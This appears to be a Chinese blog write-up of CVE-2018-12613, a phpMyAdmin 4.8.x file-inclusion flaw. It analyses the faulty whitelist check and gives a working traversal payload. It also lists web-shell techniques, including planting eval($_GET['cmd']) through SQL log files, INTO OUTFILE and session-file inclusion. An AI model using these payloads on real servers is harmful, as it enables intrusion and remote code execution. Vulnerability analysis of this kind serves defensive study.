美文网首页hacker
cve-2018-12613-PhpMyadmin后台文件包含

cve-2018-12613-PhpMyadmin后台文件包含

作者: apossin | 来源:发表于2018-11-28 14:41 被阅读59次

2018年6月19日,phpmyadmin在最新版本修复了一个严重级别的漏洞.

https://www.phpmyadmin.net/security/PMASA-2018-4/

漏洞描述:

An issue was discovered in phpMyAdmin 4.8.x before 4.8.2, in which an attacker can include (view and potentially 
execute) files on the server. The vulnerability comes from a portion of code where pages are redirected and loaded 
within phpMyAdmin, and an improper test for whitelisted pages. An attacker must be authenticated, except in the 
"$cfg['AllowArbitraryServer'] = true" case (where an attacker can specify any host he/she is already in control of, 
and execute arbitrary code on phpMyAdmin) and the "$cfg['ServerDefault'] = 0" case (which bypasses the login 
requirement and runs the vulnerable code without any authentication).

漏洞分析:

问题在index.php的55~63:

// If we have a valid target, let's load that script instead
if (! empty($_REQUEST['target'])
    && is_string($_REQUEST['target'])
    && ! preg_match('/^index/', $_REQUEST['target'])
    && ! in_array($_REQUEST['target'], $target_blacklist)
    && Core::checkPageValidity($_REQUEST['target'])
) {
    include $_REQUEST['target'];
    exit;
}

这里对于参数共有5个判断,判断通过就可以通过Include包含文件。
前面3个判断基本可以忽略,后两个:
$target_blacklist:

$target_blacklist = array (
    'import.php', 'export.php'
);

Core::checkPageValidity($_REQUEST['target']):
代码在libraries\classes\Core.php的443~476:

    public static function checkPageValidity(&$page, array $whitelist = [])
    {
        if (empty($whitelist)) {
            $whitelist = self::$goto_whitelist;
        }
        if (! isset($page) || !is_string($page)) {
            return false;
        }

        if (in_array($page, $whitelist)) {
            return true;
        }

        $_page = mb_substr(
            $page,
            0,
            mb_strpos($page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        $_page = urldecode($page);
        $_page = mb_substr(
            $_page,
            0,
            mb_strpos($_page . '?', '?')
        );
        if (in_array($_page, $whitelist)) {
            return true;
        }

        return false;
    }

这里验证白名单:

public static $goto_whitelist = array(
        'db_datadict.php',
        'db_sql.php',
        'db_events.php',
        'db_export.php',
        'db_importdocsql.php',
        'db_multi_table_query.php',
        'db_structure.php',
        'db_import.php',
        'db_operations.php',
        'db_search.php',
        'db_routines.php',
        'export.php',
        'import.php',
        'index.php',
        'pdf_pages.php',
        'pdf_schema.php',
        'server_binlog.php',
        'server_collations.php',
        'server_databases.php',
        'server_engines.php',
        'server_export.php',
        'server_import.php',
        'server_privileges.php',
        'server_sql.php',
        'server_status.php',
        'server_status_advisor.php',
        'server_status_monitor.php',
        'server_status_queries.php',
        'server_status_variables.php',
        'server_variables.php',
        'sql.php',
        'tbl_addfield.php',
        'tbl_change.php',
        'tbl_create.php',
        'tbl_import.php',
        'tbl_indexes.php',
        'tbl_sql.php',
        'tbl_export.php',
        'tbl_operations.php',
        'tbl_structure.php',
        'tbl_relation.php',
        'tbl_replace.php',
        'tbl_row_action.php',
        'tbl_select.php',
        'tbl_zoom_select.php',
        'transformation_overview.php',
        'transformation_wrapper.php',
        'user_password.php',
    );

之后phpMyAdmin的开发团队考虑到了target后面加参数的情况,通过字符串分割将问号的前面部分取出,继续匹配白名单,然后经过一遍urldecode后再重复动作。
所以这里我们可以选取白名单里的任意一个页面。
构造:

target=db_datadict.php%253f/../../../../../../../../etc/passwd

绕过所有的检查。
最后在include包含文件时,斜杠前面的部分包括问号会被当作文件名。
ps:如果是linux系统下,就更简单了,直接通过问号截断就行了。

getshell

1.可以利用把shell写进数据库来getshell。


image.png

找到对应的数据库文件:


image.png
image.png
但是默认情况下,linux数据库文件是没有读取权限的。

windows下倒是没限制。
ps:数据库路径可以根据全局参数里的信息来推断。

2.写入文件来getshell
要求secure_file_priv不是null,直接通过select "<?php phpinfo();?>" into outfile "xxxxxxxx",写入shell文件。

3.写入Log
普通log:
set global general_log=1
set global general_log_file="路径"

慢查询log:
set global slow_query_log 开启慢查询
set global slow_query_log_file='路径'
show global variables like '%long_query_time%'查看慢查询时间
select '<?php eval($_GET["cmd"]); ?>' or sleep(11); //默认慢查询时间为10秒

4.通过session达成命令执行
p牛在小蜜圈里介绍的一种方法(膜)。
先执行一个查询:

select  "<?php system('cd /&&ls')>"`

通过抓包得到phpmyadmin的session:

image.png
然后包含对应的session文件,命令执行。
image.png
如果没做过设置,session文件默认是在/var/lib/php/sessions/目录下,文件名是sess_加上你的session字段。(没有权限)
而一般情况下,phpmyadmin的session文件会设置在/tmp目录下,需要在php.ini里把session.auto_start置为1,把session.save_path目录设置为/tmp。
window下的目录和中间件相关。
参考:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-12613
https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

相关文章

  • cve-2018-12613-PhpMyadmin后台文件包含

    2018年6月19日,phpmyadmin在最新版本修复了一个严重级别的漏洞. 漏洞描述: 漏洞分析: 问题在in...

  • 凡诺CMS一处文件包含漏洞

    今天这篇文件主要记录凡诺CMS后台文件包含漏洞: 0×01 文件包含简介 服务器执行PHP文件时,可以通过文件包含...

  • 基于JQuery的ajax前后端数据交互

    打开页面即发送请求 像后台发送内容(不包含文件) PS:上边两种ajax写法作用相同,第一种是简写 向后台发送文件...

  • iOS 蓝牙 BLE

    1、蓝牙后台模式 在info.plist文件中添加UIBackgroundModes的key,Value 则是包含...

  • Oracle驱动和同义词

    一,启动包含阶段和完成的工作 nomount:读参数文件,分配内存,启动后台进程,定位控制文件 mount:打开控...

  • 【文件包含】PHP文件包含漏洞

    0x01 文件包含函数 include() include_once() require() require_on...

  • js跟java计算mad5不一致

    今天碰到一个比较棘手的问题,经理要求上传文件同时上传文件的信息,信息包含文件的md5,后台会做文件完整性校验等,我...

  • 文件包含

    本文作者是一个白的不能再白的小白的写的,自身的水平有限,本着分享的态度,如遇到不对的地方,希望大家多多提意见。 文...

  • 文件包含

    如何侵入系统 1 程序通过【包含函数】调用本地或远程文件,来实现漏洞上传。2 被包含的文件是各种格式,文件中可能就...

  • 文件包含

    一.本文介绍 1、本文介绍文件本地包含(LIF)、远程包含(RLF)、包含日志文件、包含读文件、包含截断、str_...

网友评论

本文标题:cve-2018-12613-PhpMyadmin后台文件包含

本文链接:https://www.haomeiwen.com/subject/zbcaqqtx.html